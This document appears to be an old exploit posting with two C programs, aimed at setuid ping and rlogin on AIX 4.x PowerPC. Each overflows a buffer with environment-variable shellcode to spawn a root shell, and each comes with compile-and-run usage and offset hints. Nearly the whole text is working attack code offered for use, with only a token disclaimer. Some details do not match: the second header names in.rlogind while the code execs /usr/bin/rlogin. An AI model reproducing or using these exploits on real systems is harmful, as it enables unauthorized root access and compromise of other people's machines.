
/*
 *
 *   /usr/sbin/ping exploit (kinda' coded) by BeastMaster V    
 * 
 *   CREDITS: this is simpy a modified version of an exploit
 *   posted by Georgi Guninski (guninski@hotmail.com)
 *
 *   This will give a #rootshell# by overwriting a buffer
 *   in /usr/sbin/ping while ping is setuid to root.
 *   This exploit is designed for AIX 4.x on PPC platform.    
 *
 *
 *   USAGE: 
 *            $ cc -o foo -g aix_ping.c
 *            $ ./foo 5300
 *            #
 *
 *      
 *   HINT: Try giving ranges from 5090 through 5500
 *
 *   DISCLAIMER: use this program in a responsible manner.
 *
 *   --> don't forget to visit http://www.rootshell.com
 *   --> for more goodies :-)
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern int execv();

#define MAXBUF 600

unsigned int code[]={
        0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
        0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
        0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
        0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
        0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
        0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
	char *c;
	int l;

	l=strlen(name)+strlen(value)+4;
	if (! (c=malloc(l))) {perror("error allocating");exit(2);};
	strcpy(c,name);
	strcat(c,"=");
	strcat(c,value);
	putenv(c);
	return c;
}

main(int argc,char **argv,char **env)
{
	unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
	int min=100, max=280;
	unsigned int return_address;
	char *newenv[8];
	char *args[4];
	int offset=5300;

	if (argc==2) offset = atoi(argv[1]);

	pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

	*((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
	*((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
	*((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
	*((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

	return_address=(unsigned)&buf[0]+offset;

	for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
	strcpy((char*)&buf[nop],(char*)&code);
	i=nop+strlen( (char*) &code)/4-1;

	for(i=0;i<max-1;i++) frame[i]=return_address;
	frame[i]=0;

	newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
	newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
	newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
	newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
	newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
	newenv[5]=NULL;

	args[0]="ping";
	args[1]=(char*)&frame[0];
	execve("/usr/sbin/ping",args,newenv);
	perror("Error executing execve \n");

}



---------------------------------------------------------------------


/*
 *
 *   /usr/sbin/in.rlogind exploit coded by BeastMaster V    
 * 
 *   CREDITS: this is simpy a modified version of an exploit
 *   posted by Georgi Guninski (guninski@hotmail.com)
 *
 *   This will give a #rootshell# by overwriting a buffer
 *   in gethostbyname() in /usr/sbin/rlogind.
 *   This exploit is designed for AIX 4.x on PPC platform.    
 *
 *
 *   USAGE: 
 *            $ cc -o foo -g aix_rlogin.c
 *            $ ./foo 4100
 *            #
 *
 *      
 *   HINT: Try giving ranges from 3000 through 9000
 *
 *   DISCLAIMER: use this program in a responsible manner.
 *
 *   --> don't forget to visit http://www.rootshell.com
 *   --> for more goodies :-)
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

extern int execv();

#define MAXBUF 600

unsigned int code[]={
        0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
        0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
        0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
        0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
        0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
        0x7c0903a6 , 0x4e800420, 0x0
};

char *createvar(char *name,char *value)
{
	char *c;
	int l;

	l=strlen(name)+strlen(value)+4;
	if (! (c=malloc(l))) {perror("error allocating");exit(2);};
	strcpy(c,name);
	strcat(c,"=");
	strcat(c,value);
	putenv(c);
	return c;
}

main(int argc,char **argv,char **env)
{
	unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
	int min=100, max=280;
	unsigned int return_address;
	char *newenv[8];
	char *args[4];
	int offset=5300;

	if (argc==2) offset = atoi(argv[1]);

	pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;

	*((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
	*((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000ffff);
	*((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
	*((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000ffff);

	return_address=(unsigned)&buf[0]+offset;

	for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
	strcpy((char*)&buf[nop],(char*)&code);
	i=nop+strlen( (char*) &code)/4-1;

	for(i=0;i<max-1;i++) frame[i]=return_address;
	frame[i]=0;

	newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
	newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
	newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
	newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
	newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
	newenv[6]=NULL;

	args[0]="rlogin";
	args[1]=(char*)&frame[0];
	execve("/usr/bin/rlogin",args,newenv);
	perror("Error executing execve \n");

}
